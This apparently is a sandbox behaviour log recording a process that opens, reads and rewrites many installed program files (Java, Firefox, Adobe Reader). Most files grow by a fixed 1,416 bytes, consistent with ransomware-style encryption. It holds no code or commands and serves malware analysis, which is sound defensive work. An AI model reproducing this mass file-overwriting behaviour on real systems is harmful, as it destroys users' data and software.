File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.bfc, size = 3770, size_out = 3770	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.bfc, size = 5186	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\hijrah-config-umalqura.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\hijrah-config-umalqura.properties, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\hijrah-config-umalqura.properties, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\hijrah-config-umalqura.properties, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\javaws.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\javaws.jar, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\javaws.jar, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\javaws.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\javaws.jar, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\javaws.jar, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\jmxremote.password.template, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\jmxremote.password.template, size = 2856, size_out = 2856	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\jmxremote.password.template, size = 4272	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\rt.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\rt.jar, size = 61440, size_out = 61440	34	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\rt.jar, size = 8192, size_out = 8192	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\rt.jar, size = 16384, size_out = 16384	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\rt.jar, size = 17800	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\rt.jar, size = 61440	34	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\rt.jar, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\tzdb.dat, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\tzdb.dat, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\tzdb.dat, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\tzdb.dat, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\tzdb.dat, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\Accessible.tlb, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\Accessible.tlb, size = 3008, size_out = 3008	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\Accessible.tlb, size = 4424	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\features\shield-recipe-client@mozilla.org.xpi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\features\shield-recipe-client@mozilla.org.xpi, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\end_review.gif, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\end_review.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\end_review.gif, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\dictionaries\en-US.dic, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\dictionaries\en-US.dic, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\dictionaries\en-US.dic, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\dictionaries\en-US.dic, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\dictionaries\en-US.dic, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\dictionaries\en-US.dic, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\pingsender.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\pingsender.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\pingsender.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\pingsender.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\pingsender.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\updater.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\updater.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\updater.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\updater.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\updater.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\rempl\remsh.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\rempl\remsh.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\rempl\remsh.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\rempl\remsh.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\rempl\remsh.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-CH\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-CH\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-CH\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-CH\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-CH\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-MY\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-MY\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-MY\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-MY\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-MY\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-US\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-US\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-US\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-US\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-US\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\gl-ES\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\gl-ES\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\gl-ES\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\gl-ES\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\gl-ES\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lb-LU\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lb-LU\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lb-LU\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lb-LU\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lb-LU\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-BR\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-BR\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-BR\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-BR\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-BR\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\style_ltr.min.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\style_ltr.min.css, size = 216, size_out = 216	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\style_ltr.min.css, size = 1632	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\th-TH\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\th-TH\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\th-TH\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\th-TH\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\th-TH\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.004.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.004.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.004.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.004.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.004.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Comments.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Comments.aapp, size = 3724, size_out = 3724	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Comments.aapp, size = 5140	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Home.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Home.aapp, size = 355, size_out = 355	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Home.aapp, size = 1771	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Viewer.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Viewer.aapp, size = 299, size_out = 299	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Viewer.aapp, size = 1715	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Adobe.Reader.Dependencies.manifest, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Adobe.Reader.Dependencies.manifest, size = 1809, size_out = 1809	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Adobe.Reader.Dependencies.manifest, size = 3225	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\license.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\license.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\license.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\license.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\license.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Checkers.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Checkers.api, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Checkers.api, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Checkers.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Checkers.api, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Checkers.api, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\QuickTime.mpp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\QuickTime.mpp, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\QuickTime.mpp, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\QuickTime.mpp, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\QuickTime.mpp, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Search.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Search.api, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Search.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Search.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Search.api, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prc\MyriadCAD.otf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prc\MyriadCAD.otf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prc\MyriadCAD.otf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prc\MyriadCAD.otf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prc\MyriadCAD.otf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\distribute_form.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\distribute_form.gif, size = 821, size_out = 821	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\distribute_form.gif, size = 2237	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\main.css, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\main.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\main.css, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_shared.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_shared.gif, size = 1365, size_out = 1365	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_shared.gif, size = 2781	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOffNotificationInAcrobat.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOffNotificationInAcrobat.gif, size = 824, size_out = 824	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOffNotificationInAcrobat.gif, size = 2240	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\plugins.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\plugins.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\plugins.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\plugins.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_int.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_int.gif, size = 6718, size_out = 6718	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_int.gif, size = 8134	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ccloud_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ccloud_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ccloud_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ccloud_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_highcontrast.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_highcontrast.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_highcontrast.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_highcontrast.png, size = 4096	1	Fn Data
